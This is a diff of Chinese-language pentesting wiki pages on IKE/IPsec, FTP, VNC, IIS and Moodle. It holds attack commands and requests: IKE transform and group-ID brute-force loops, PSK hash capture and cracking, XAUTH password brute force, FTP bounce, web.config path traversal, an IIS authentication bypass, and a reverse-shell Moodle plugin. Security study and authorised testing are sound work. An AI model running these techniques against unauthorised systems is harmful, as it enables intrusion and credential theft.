- _0 返回握手；0 返回通知:_ 这意味着目标 **不是 IPsec 网关**。
- _**1 返回握手；0 返回通知:**_ 这意味着 **目标已配置为 IPsec，并愿意进行 IKE 协商，您提议的一个或多个变换是可接受的**（有效的变换将在输出中显示）。
- _0 返回握手；1 返回通知:_ VPN 网关在 **没有可接受的变换时** 会回复通知消息（尽管有些网关不会，在这种情况下应进行进一步分析并尝试修订提案）。
- _0 returned handshake; 0 returned notify:_ 这意味着目标 **不是 IPsec 网关**。
- _**1 returned handshake; 0 returned notify:**_ 这意味着 **目标已配置为 IPsec，并愿意进行 IKE 协商，您提议的一个或多个变换是可接受的**（有效的变换将在输出中显示）。
- _0 returned handshake; 1 returned notify:_ VPN 网关在 **没有变换可接受** 时会回复通知消息（尽管有些网关不会，在这种情况下应进行进一步分析并尝试修订提案）。
然后，在这种情况下，我们已经有了有效的变换，但如果您处于第三种情况，则需要 **稍微暴力破解一下以找到有效的变换：**
@ -58,22 +58,22 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
如果暴力破解没有成功，可能服务器即使对有效的变换也没有进行握手响应。然后，你可以尝试使用激进模式进行相同的暴力破解：
如果暴力破解没有成功，可能服务器即使对有效的变换也没有进行握手响应。然后，你可以尝试使用攻击模式进行相同的暴力破解：
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
希望**有效的转换被回显**。\
您可以使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)尝试**相同的攻击**。\
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
您还可以尝试使用[**ikeforce**](https://github.com/SpiderLabs/ikeforce)进行暴力破解转换：
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../images/image (617).png>)
在 **DH 组：14 = 2048位 MODP** 和 **15 = 3072位**\
在 **DH 组：14 = 2048 位 MODP** 和 **15 = 3072 位**\
**2 = HMAC-SHA = SHA1（在这种情况下）。`--trans` 格式为 $Enc,$Hash,$Auth,$DH**
思科指出应避免使用 DH 组 1 和 2，因为它们不够强大。专家认为，**资源丰富的国家可以轻易破解使用这些弱组的数据加密**。这通过使用一种特殊方法来实现，使它们能够快速破解代码。尽管设置这种方法的成本很高，但它允许这些强大的国家实时读取加密数据，如果使用的是不强的组（如 1,024 位或更小）。
Cisco 指出要避免使用 DH 组 1 和 2，因为它们不够强大。专家认为，**资源丰富的国家可以轻易破解使用这些弱组的数据加密**。这通过使用一种特殊的方法来实现，使它们能够快速破解代码。尽管设置这种方法的成本很高，但它允许这些强大的国家实时读取加密数据，如果使用的是不强的组（如 1,024 位或更小）。
### 服务器指纹识别
@ -101,7 +101,7 @@ IP Address No. Recv time Delta Time
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
这也可以通过 nmap 脚本 _**ike-version**_ 实现。
这也可以通过 nmap 脚本 _**ike-version**_ 来实现。
## 查找正确的 ID（组名）
@ -110,11 +110,11 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
### 使用 ike-scan 进行暴力破解 ID
首先尝试使用假 ID 发出请求，试图收集哈希（“-P”）：
首先尝试使用假 ID 发起请求，试图收集哈希（“-P”）：
```bash
ike-scan -P -M -A -n fakeID <IP>
```
如果**没有返回哈希**，那么这种暴力破解的方法可能有效。**如果返回了一些哈希，这意味着将会为一个假 ID 发送一个假哈希，因此这种方法对暴力破解 ID 不可靠**。例如，可能会返回一个假哈希（这在现代版本中发生）：
如果**没有返回哈希**，那么这种暴力破解的方法可能会有效。**如果返回了一些哈希，这意味着将会为一个假 ID 发送一个假哈希，因此这种方法对暴力破解 ID 不可靠**。例如，可能会返回一个假哈希（这在现代版本中发生）：
![](<../images/image (917).png>)
@ -122,13 +122,15 @@ ike-scan -P -M -A -n fakeID <IP>
这个脚本**将尝试暴力破解可能的 ID**，并返回有效握手的 ID（这将是一个有效的组名）。
如果你发现了特定的变换，请将其添加到 ike-scan 命令中。如果你发现了多个变换，可以自由添加一个新循环来尝试它们所有（你应该尝试它们所有，直到其中一个正常工作）。
如果你发现了特定的转换，请将其添加到 ike-scan 命令中。如果你发现了多个转换，可以自由添加一个新循环来尝试它们所有（你应该尝试它们所有，直到其中一个正常工作）。
你可以使用[ikeforce 的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists 中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名：
你可以使用[ ikeforce 的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[ seclists 中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名：
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
{% file src="../images/vpnIDs.txt" %}
{{#file}}
vpnIDs.txt
{{#endfile}}
### 使用 Iker 进行 ID 暴力破解
@ -136,17 +138,17 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
### 使用 ikeforce 进行 ID 暴力破解
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来 **暴力破解 ID 的工具**。该工具将 **尝试利用不同的漏洞**，以 **区分有效 ID 和无效 ID**（可能会有误报和漏报，这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法）。
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来 **暴力破解 ID 的工具**。该工具将 **尝试利用不同的漏洞**，以区分 **有效 ID 和无效 ID**（可能会有误报和漏报，这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法）。
默认情况下，**ikeforce** 在开始时会发送一些随机 ID 来检查服务器的行为并确定使用的策略。
- **第一种方法**是通过 **搜索** Cisco 系统的 **死对等检测 DPD** 信息来暴力破解组名（只有在组名正确时，服务器才会回复此信息）。
- **第二种方法**是 **检查每次尝试发送的响应数量**，因为有时使用正确 ID 时会发送更多数据包。
- **第三种方法**是 **在对无效 ID 的响应中搜索 "INVALID-ID-INFORMATION"**。
- **第三种方法**是 **搜索对无效 ID 的响应中的 "INVALID-ID-INFORMATION"**。
- 最后，如果服务器对检查没有任何回复，**ikeforce** 将尝试暴力破解服务器，并检查在发送正确 ID 时服务器是否回复某些数据包。\
显然，暴力破解 ID 的目标是获取 **PSK**，当你有一个有效的 ID 时。然后，使用 **ID** 和 **PSK** 你将需要暴力破解 XAUTH（如果启用的话）。
如果你发现了特定的转换，请将其添加到 ikeforce 命令中。如果你发现了多个转换，请随意添加一个新循环来尝试它们所有（你应该尝试所有，直到其中一个正常工作）。
如果你发现了特定的转换，请将其添加到 ikeforce 命令中。如果你发现了多个转换，可以随意添加一个新循环来尝试它们所有（你应该尝试所有，直到其中一个正常工作）。
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -157,13 +159,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
### Sniffing ID
(来自书籍 **Network Security Assessment: Know Your Network**): 通过嗅探 VPN 客户端和服务器之间的连接，也可以获得有效的用户名，因为第一个包含客户端 ID 的攻击模式数据包是以明文发送的。
(来自书籍 **Network Security Assessment: Know Your Network**): 通过嗅探 VPN 客户端和服务器之间的连接，也可以获得有效的用户名，因为包含客户端 ID 的第一个攻击模式数据包是以明文发送的。
![](<../images/image (891).png>)
## Capturing & cracking the hash
最后，如果您找到了 **有效的转换** 和 **组名**，并且 **允许攻击模式**，那么您可以非常轻松地获取可破解的哈希：
最后，如果您找到了 **有效的变换** 和 **组名**，并且 **允许攻击模式**，那么您可以非常轻松地获取可破解的哈希：
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -175,9 +177,9 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressive mode IKE** 结合 **预共享密钥 (PSK)** 通常用于 **组认证** 目的。此方法通过 **XAuth (扩展认证)** 得到增强，后者引入了额外的 **用户认证** 层。这样的认证通常利用 **Microsoft Active Directory**、**RADIUS** 或类似系统的服务。
**Aggressive mode IKE** 结合 **Pre-Shared Key (PSK)** 通常用于 **组认证** 目的。此方法通过 **XAuth (Extended Authentication)** 得到增强，后者引入了额外的 **用户认证** 层。这样的认证通常利用 **Microsoft Active Directory**、**RADIUS** 或类似系统。
转向 **IKEv2** 时，观察到一个显著的变化，即 **EAP (可扩展认证协议)** 被用来替代 **XAuth** 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
转向 **IKEv2** 时，观察到一个显著的变化，即 **EAP (Extensible Authentication Protocol)** 被用来替代 **XAuth** 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
### 本地网络 MitM 捕获凭证
@ -185,11 +187,11 @@ psk-crack -d <Wordlist_path> psk.txt
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
同时，使用IPSec尝试进行中间人攻击并阻止所有到500端口的流量，如果无法建立IPSec隧道，流量可能会以明文形式发送。
也可以使用IPSec尝试进行中间人攻击并阻止所有到500端口的流量，如果IPSec隧道无法建立，流量可能会以明文形式发送。
### 使用ikeforce暴力破解XAUTH用户名和密码
要暴力破解**XAUTH**（当您知道有效的组名**id**和**psk**时），您可以使用一个用户名或用户名列表以及一个密码列表：
要暴力破解**XAUTH**（当你知道一个有效的组名**id**和**psk**时），你可以使用一个用户名或用户名列表以及一个密码列表：
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```

38
src/network-services-pentesting/pentesting-ftp/README.md
View File

@ -4,7 +4,7 @@
## 基本信息
**文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间传输文件的标准协议。\
**文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间进行文件传输的标准协议。\
它是一个**明文**协议，使用**换行符 `0x0d 0x0a`**，因此有时你需要**使用 `telnet` 连接**或**`nc -C`**。
**默认端口：** 21
@ -18,7 +18,7 @@ PORT STATE SERVICE
但是，如果 FTP 客户端设置了防火墙以控制来自外部的传入数据连接，则主动 FTP 可能会成为一个问题。对此的可行解决方案是被动 FTP。
在 **被动 FTP** 中，客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后，客户端发出 **passv 命令**。服务器随后向客户端发送其端口号 M。然后，**客户端**从 **其端口 P 到 FTP 服务器的端口 M** **发起**数据 **连接**。
在 **被动 FTP** 中，客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后，客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后，**客户端**从 **其端口 P 到 FTP 服务器的端口 M** **发起**数据 **连接**。
来源: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -101,7 +101,7 @@ ftp <IP>
```
### [暴力破解](../../generic-hacking/brute-force.md#ftp)
在这里你可以找到一个包含默认ftp凭据的好列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
这里可以找到一个包含默认ftp凭据的不错列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### 自动化
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
注意，如果一个 **web 应用程序** 正在将用户控制的数据 **直接发送到 FTP 服务器**，您可以发送双重 URL 编码的 `%0d%0a`（在双重 URL 编码中为 `%250d%250a`）字节，并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容、执行端口扫描或尝试与其他基于明文的服务（如 http）进行通信。
注意，如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**，您可以发送双重 URL 编码的 `%0d%0a`（在双重 URL 编码中为 `%250d%250a`）字节，并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容、执行端口扫描或尝试与其他基于明文的服务（如 http）进行通信。
## 从 FTP 下载所有文件
```bash
@ -135,8 +135,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接（_由 "2" 指示_）。此命令 **支持 IPv6**。
- **`LIST`** 这将发送当前文件夹中的文件列表
- **`LIST -R`** 递归列出（如果服务器允许）
- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在，将附加数据。
- **`STOR /path/something.txt`** 类似于 `APPE`，但将覆盖文件
- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收到的数据存储到文件中。如果文件名存在，它将附加数据。
- **`STOR /path/something.txt`** 类似于 `APPE`，但它将覆盖文件
- **`STOU /path/something.txt`** 类似于 `APPE`，但如果存在则不执行任何操作。
- **`RETR /path/to/file`** 必须建立被动或端口连接。然后，FTP 服务器将通过该连接发送指定的文件
- **`REST 6`** 这将指示服务器下次使用 `RETR` 发送时应从第 6 字节开始。
@ -148,25 +148,25 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce 攻击
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器你想要连接到其他 FTP 服务器的某个端口。然后，你可以利用此功能扫描主机的哪些端口是开放的。
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后，您可以利用此功能扫描主机的哪些端口通过 FTP 服务器是开放的。
[**在这里了解如何滥用 FTP 服务器扫描端口。**](ftp-bounce-attack.md)
你还可以滥用这种行为使 FTP 服务器与其他协议交互。你可以 **上传一个包含 HTTP 请求的文件**，并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**（_也许是为了添加一个新的管理员用户？_）或甚至上传一个 FTP 请求，使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**，并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**（_也许是为了添加一个新的管理员用户？_）或甚至上传一个 FTP 请求，使易受攻击的 FTP 服务器为不同的 FTP 服务器下载文件。\
理论很简单：
1. **将请求（放在文本文件中）上传到易受攻击的服务器。** 记住，如果你想与另一个 HTTP 或 FTP 服务器通信，你需要用 `0x0d 0x0a` 更改行
2. **使用 `REST X` 避免发送你不想发送的字符**（也许为了在文件中上传请求，你需要在开头放一些图像头）
1. **将请求（放在文本文件中）上传到易受攻击的服务器。** 请记住，如果您想与另一个 HTTP 或 FTP 服务器通信，您需要用 `0x0d 0x0a` 更改行
2. **使用 `REST X` 避免发送您不想发送的字符**（也许为了在文件中上传请求，您需要在开头放一些图像头）
3. **使用 `PORT` 连接到任意服务器和服务**
4. **使用 `RETR` 将保存的请求发送到服务器。**
很可能这 **会抛出一个错误，如** _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。避免这种情况的建议包括：
这很可能会抛出一个错误，如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。尝试避免这种情况的建议包括：
- 如果你正在发送 HTTP 请求，**将相同的请求一个接一个地放置**，直到 **\~0.5MB** 至少。像这样：
- 如果您正在发送 HTTP 请求，**将相同的请求一个接一个地放置**，直到 **\~0.5MB** 至少。像这样：
{% file src="../../images/posts.txt" %}
{{#file}}
posts.txt
{% endfile %}
{{#endfile}}
- 尝试 **用与协议相关的 "垃圾" 数据填充请求**（与 FTP 交谈时，可能只是垃圾命令或重复 `RETR` 指令以获取文件）
- 只需 **用大量空字符或其他字符填充请求**（分行或不分行）
@ -175,7 +175,7 @@ posts.txt
## Filezilla 服务器漏洞
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**（端口 14147）。如果你可以从 **你的机器** 创建一个 **隧道** 来访问此端口，你可以 **使用空密码连接** 到 **它** 并 **为 FTP 服务创建** 一个 **新用户**。
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**（端口 14147）。如果您可以创建一个 **隧道** 从 **您的机器** 访问此端口，您可以 **使用空密码连接** 到 **它** 并 **创建** 一个 **新的用户** 用于 FTP 服务。
## 配置文件
```
@ -184,9 +184,9 @@ ftp.conf
proftpd.conf
vsftpd.conf
```
### 后期利用
### Post-Exploitation
vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里，您可以找到一些危险的设置：
vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里，你可以找到一些危险的设置：
- `anonymous_enable=YES`
- `anon_upload_enable=YES`
@ -196,14 +196,14 @@ vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里，您
- `chown_username=username` - 被赋予匿名上传文件所有权的用户
- `local_enable=YES` - 允许本地用户登录
- `no_anon_password=YES` - 不要求匿名用户输入密码
- `write_enable=YES` - 允许命令：STOR, DELE, RNFR, RNTO, MKD, RMD, APPE 和 SITE
- `write_enable=YES` - 允许命令：STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE
### Shodan
- `ftp`
- `port:21`
## HackTricks 自动命令
## HackTricks Automatic Commands
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.

11
src/network-services-pentesting/pentesting-vnc.md
View File

@ -6,7 +6,7 @@
**虚拟网络计算 (VNC)** 是一个强大的图形桌面共享系统，利用 **远程帧缓冲 (RFB)** 协议来实现对另一台计算机的远程控制和协作。通过 VNC，用户可以通过双向传输键盘和鼠标事件与远程计算机无缝互动。这允许实时访问，并促进通过网络进行高效的远程协助或协作。
VNC 通常使用端口 **5800 或 5801 或 5900 或 5901。**
VNC 通常使用端口 **5800 或 5801 或 5900 或 5901.**
```
PORT STATE SERVICE
5900/tcp open vnc
@ -26,20 +26,21 @@ vncviewer [-passwd passwd.txt] <IP>::5901
默认 **密码存储** 在: \~/.vnc/passwd
如果你有 VNC 密码并且看起来是加密的（几个字节，像是可能是加密的密码），它很可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。
如果你有 VNC 密码并且看起来是加密的（几字节，像是可能是加密密码），它可能是用 3des 加密的。你可以使用 [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) 获取明文密码。
```bash
make
vncpwd <vnc password file>
```
您可以这样做，因为用于加密明文 VNC 密码的 3des 中使用的密码多年前已被破解。\
对于 **Windows**，您还可以使用此工具： [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
对于 **Windows**，您还可以使用此工具：[https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
我也将工具保存在这里以便于访问：
{% file src="../images/vncpwd.zip" %}
{{#file}}
vncpwd.zip
{{#endfile}}
## Shodan
- `port:5900 RFB`
{{#include ../banners/hacktricks-training.md}}

38
src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
View File

@ -16,7 +16,7 @@
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
响应泄露内部IP：
响应披露内部IP：
```
GET / HTTP/1.0
@ -29,15 +29,17 @@ X-FEServer: NHEXCHANGE2016
```
## 执行 .config 文件
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码：[在这里下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码：[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
有关利用此漏洞的更多信息和技术[在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
有关利用此漏洞的更多信息和技术 [在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS 发现暴力破解
下载我创建的列表：
{% file src="../../images/iisfinal.txt" %}
{{#file}}
iisfinal.txt
{{#endfile}}
它是通过合并以下列表的内容创建的：
@ -48,7 +50,7 @@ X-FEServer: NHEXCHANGE2016
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
使用时无需添加任何扩展名，所需的文件已经包含。
使用时不要添加任何扩展名，所需的文件已经包含它。
## 路径遍历
@ -57,7 +59,7 @@ X-FEServer: NHEXCHANGE2016
查看完整的写作内容在：[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 总结来说，应用程序的文件夹中有多个 web.config 文件，里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息，可以知道 **可执行文件的位置** 并下载它们。\
> 总之，应用程序的文件夹中有多个 web.config 文件，引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息，可以知道 **可执行文件的位置** 并下载它们。\
> 从 **下载的 Dlls** 中，还可以找到 **新的 namespaces**，您应该尝试访问并获取 web.config 文件，以便找到新的 namespaces 和 assemblyIdentity。\
> 此外，文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\\
@ -65,7 +67,7 @@ X-FEServer: NHEXCHANGE2016
### **探索二进制文件**
访问 **web.config** 文件的示例如下：
访问 **web.config** 文件的示例如下所示：
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
@ -73,8 +75,8 @@ Host: example-mvc-application.minded
此请求揭示了各种设置和依赖项，例如：
- **EntityFramework** 版本
- **AppSettings** 用于网页、客户端验证和JavaScript
- **System.web** 认证和运行时的配置
- **AppSettings** 用于网页、客户端验证和 JavaScript
- **System.web** 身份验证和运行时的配置
- **System.webServer** 模块设置
- **Runtime** 程序集绑定，适用于多个库，如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**
@ -86,7 +88,7 @@ Host: example-mvc-application.minded
### **命名空间和 Web.Config**
MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**，以避免在每个文件中重复声明，如请求下载另一个 **web.config** 所示：
MVC 应用程序还为特定命名空间定义额外的 **web.config 文件**，以避免在每个文件中重复声明，如请求下载另一个 **web.config** 所示：
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
@ -185,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
如果您看到以下错误：
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
这意味着服务器**没有在 Host 头中接收到正确的域名**。\
为了访问网页，您可以查看提供的**SSL 证书**，也许可以在其中找到域名/子域名。如果没有，您可能需要**暴力破解 VHosts**，直到找到正确的。
@ -194,8 +196,8 @@ C:\xampp\tomcat\conf\server.xml
### Microsoft IIS 波浪字符“\~”漏洞/特性 – 短文件/文件夹名称泄露
您可以尝试使用此**技术**来**枚举文件夹和文件**，即使它需要基本身份验证。\
如果服务器存在漏洞，此技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
您可以尝试使用此**技术**来**枚举每个发现的文件夹和文件**（即使它需要基本身份验证）。\
如果服务器存在漏洞，此技术的主要限制是**它只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
您可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞：`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
@ -205,13 +207,13 @@ C:\xampp\tomcat\conf\server.xml
您还可以使用**metasploit**：`use scanner/http/iis_shortname_scanner`
一个不错的主意是**找到发现文件的最终名称**，可以**询问 LLMs**以获取选项，就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
一个不错的主意是**找到发现文件的最终名称**，可以**询问 LLMs** 选项，就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
### 基本身份验证绕过
**绕过**基本身份验证（**IIS 7.5**），尝试访问：`/admin:$i30:$INDEX_ALLOCATION/admin.php` 或 `/admin::$INDEX_ALLOCATION/admin.php`
您可以尝试将此**漏洞**与最后一个结合，以找到新的**文件夹**并**绕过**身份验证。
您可以尝试将此**漏洞**与最后一个结合，以发现新的**文件夹**并**绕过**身份验证。
## ASP.NET Trace.AXD 启用调试
@ -230,16 +232,16 @@ ASP.NET 包含调试模式，其文件名为 `trace.axd`。
ASPXAUTH 使用以下信息：
- **`validationKey`**（字符串）：用于签名验证的十六进制编码密钥。
- **`decryptionMethod`**（字符串）：（默认“AES”）。
- **`decryptionMethod`**（字符串）：（默认“ AES”）。
- **`decryptionIV`**（字符串）：十六进制编码的初始化向量（默认为零向量）。
- **`decryptionKey`**（字符串）：用于解密的十六进制编码密钥。
然而，有些人会使用这些参数的**默认值**，并将**cookie 设置为用户的电子邮件**。因此，如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页，并且您**在被攻击的服务器上创建一个与您想要冒充的用户相同的电子邮件的用户**，您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\
然而，有些人会使用这些参数的**默认值**，并将**用户的电子邮件**用作**cookie**。因此，如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页，并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**，您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\
这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：代码中的一个错误**没有正确检查用户提供的密码**，因此一个**密码哈希命中缓存中的键**的攻击者将能够以该用户身份登录。
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：代码中的一个错误**没有正确检查用户提供的密码**，因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
```python
# script for sanity check
> type test.py

9
src/network-services-pentesting/pentesting-web/moodle.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## 自动扫描
### droopescan
@ -71,11 +70,13 @@ cmsmap http://moodle.example.com/<moodle_path>
![](<../../images/image (630).png>)
如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle特权提升PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle特权升级PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
然后，你可以**安装以下插件**，该插件包含经典的pentest-monkey php r**ev shell**（_在上传之前，你需要解压缩它，修改revshell的IP和端口，然后再压缩它_）
然后，你可以**安装以下插件**，该插件包含经典的pentest-monkey php r**ev shell**（_在上传之前，你需要解压缩，修改revshell的IP和端口，然后再压缩_）
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
或者你可以使用来自[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)的插件来获取带有“cmd”参数的常规PHP shell。

51
src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View File

@ -2,7 +2,6 @@
